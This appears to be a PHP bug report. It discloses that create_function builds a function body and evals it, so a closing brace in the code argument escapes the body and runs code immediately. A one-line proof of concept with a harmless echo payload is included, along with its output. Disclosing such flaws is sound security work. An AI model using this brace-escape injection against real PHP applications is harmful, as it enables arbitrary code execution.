Description:
------------
create_function puts the given arguments to the "function" block then eval, so attacker can use a close bracket to escape this block and execute the code without calling the new function.



Test script:
---------------
<?php
$a = create_function('$b','}echo "this should not be executed\n";{');
?>

Expected result:
----------------
vps@pc:~ /opt/php7/bin/php a.php
vps@pc:~

Actual result:
--------------
vps@pc:~ /opt/php7/bin/php -v
PHP 7.1.0-dev (cli) (built: Jun 27 2016 11:16:33) ( NTS DEBUG )
Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.1.0-dev, Copyright (c) 1998-2016 Zend Technologies

vps@pc:~ /opt/php7/bin/php a.php
this should not be executed

vps@pc:~